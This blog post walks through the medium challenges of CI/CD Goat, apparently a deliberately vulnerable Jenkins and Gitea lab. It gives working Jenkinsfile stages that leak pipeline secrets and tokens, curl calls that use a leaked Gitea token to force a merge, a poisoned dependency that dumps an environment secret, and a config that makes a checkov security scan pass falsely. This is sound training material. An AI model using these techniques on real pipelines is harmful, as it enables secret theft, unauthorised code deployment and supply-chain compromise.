Featured image of post CI/CD Goat Medium Challenges Walkthrough

CI/CD Goat Medium Challenges Walkthrough

CI/CD Goat Medium Challenges

Introduction and setup

If you have not completed the setup and easy challenges, you can find that guide here.

Medium Challenge #1: Caterpillar

This challenge builds on the Easy white rabbit challenge, with the twist of having to find a Gitea token to force a merge of your malicious PR into the main branch of the repo owned by Wonderland. Start by forking the repo in Gitea, and then cloning your fork. If you take a look in the Jenkins console, you will see that there are two Caterpillar pipelines, wonderland-caterpillar-test, and wonderland-caterpillar-prod. The prod pipeline will only build when changes are merged into the main branch, which the alice user does not have permissions for.
In order to force a build on the main branch, we are going to use the Gitea API along with a Gitea token we get from building a PR in our fork. The Gitea token can be found in the environment variables in the Jenkins build environment. Add the following to the Jenkinsfile, and push to your fork:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
stage ('envs') {
    steps {
        sh """
            env
        """
    }
}

stage('flag') {
    when {
        expression {
            env.BRANCH_NAME == 'main'
        }
    }
    steps {
        withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo ${TOKEN} | base64'
        }
    }
}

In Gitea, create a PR, and wait for the build in Jenkins. you should see an env section that has the GITEA_TOKEN in the output: We can use this token to merge our PR into main, and get the flag. Start by getting the details for the repo with the following API call:

1
curl 'http://127.0.0.1:3000/api/v1/repos/search?limit=1' -H 'Authorization: token 5d3ed5564341d5060c8524c41fe03507e296ca46' -H "accept: application/json" | jq

Show the open PRs with:

1
curl 'http:/127.0.0.1:3000/api/v1/repos/Wonderland/caterpillar/pulls' -H 'Authorization: token 5d3ed5564341d5060c8524c41fe03507e296ca46' -H "accept: application/json" | jq

You can then merge the PR into main with the following call. Make sure to change the PR number to match your PR:

1
curl -XPOST 'http://127.0.0.1:3000/api/v1/repos/Wonderland/caterpillar/pulls/1/merge' -H 'Authorization: token 5d3ed5564341d5060c8524c41fe03507e296ca46' -H "Content-Type: application/json" -H "accept: application/json" -d '{"Do": "merge"}' | jq

You can look at all the details for the API calls here: https://try.gitea.io/api/swagger. The build should now kick off in the wonderland-caterpillar-prod pipeline. You can get the flag there.

Medium Challenge #2: Cheshire Cat

This challenge introduces the concept of building on specific nodes, in this case, the master node. This is simple enough to do if you know the correct syntax. Start by cloning the repo and creating a new branch. in the Jenkinsfile, replace agent any with:

1
2
3
agent {
    label 'built-in'
}

Then add a new stage to read the flag:

1
2
3
4
5
6
7
stage ('flag5') {
    steps {
        sh """
            cat ~/flag5.txt
        """
    }
}

Medium Challenge #3: Twiddledum

This challenge showcases a classic supply chain attack where a repo thats imported during the build process is poisoned by an attacker. In this case, twiddledum imports the twiddledee package, which we can poison to get the flag. Start by cloning the twiddledee repo and adding the following lines to index.js:

1
2
3
const flag6Value = process.env.FLAG6;
const base64EncodedFlag6 = Buffer.from(flag6Value).toString('base64');
console.log("Base64 Encoded flag6:", base64EncodedFlag6);

index.js will be executed when the twiddledee package is imported in the build pipeline. The code above will print the flag to the console in base64. After making the above change, push the main branch to Gitea. In the twiddledee repo in Gitea, got to the “releases” tab, and create a new release. Set the tag and the name to a version higher than 1.1.0, for example 1.1.1. After the release is published, got to the twiddledum pipeline in jenkins, and start a build with the “Build Now” button. The flag will be in the console output for that build.

Medium Challenge #4: Dodo

The Dodo challenge is an example of bypassing security checks to deploy bad code or a bad configuration. In this case, we will have to bypass a program called checkov which will check to make sure that the Dodo s3 bucket is not world readable. If you go to the Dodo pipeline in jenkins and kick off a build, you can see the logic we have to defeat to get the flag (in the scan and deploy logs);

1
 checkov -d . --check CKV2_AWS_39,CKV2_AWS_38,CKV_AWS_20,CKV_AWS_57 terraform init -no-color terraform plan -no-color terraform apply -no-color -auto-approve res=`awslocal --endpoint-url=http://localstack:4566 s3api get-bucket-acl --bucket dodo | jq '.Grants[] | select(.Grantee.Type == "Group" and .Grantee.URI == "http://acs.amazonaws.com/groups/global/AllUsers" and .Permission == "READ")' &> /dev/null` if [ -z "$res" ] then echo "Secure" else decoded=`echo $FLAG7 | base64 -d` echo "FLAG7: $decoded" fi 

The script is doing the following:

  • Runs the checkov tool, which will scan the terraform file to make sure that it meets specific checks. If it doesn’t, checkov wil fail, and that section of the pipeline will stop.
  • Checking the dodo s3 bucket to see if its readable.
  • If the dodo bucket is readable, flag7 will be printed. To simplify a bit, in order to get the flag, checkov has to pass, or at least exit with a 0 exit code for the pipeline to continue, and the dodo s3 bucket has to be readable. Start by cloning the dodo repo. In the main.tf terraform file, change the permissions on the dodo s3 bucket from "private" to "public-read" on line 114. Save the file. in the root of the dodo repo, create a file called .checkov.yaml. In it just put soft-fail: true. This will cause checkov to exit with a 0 exit code, even if checks fail, enabling the script to continue and find that the dodo bucket is world readable. Push your changes to main, and kick off another build. The flag should be at the bottom of the console output.
Built with Hugo
Theme Stack designed by Jimmy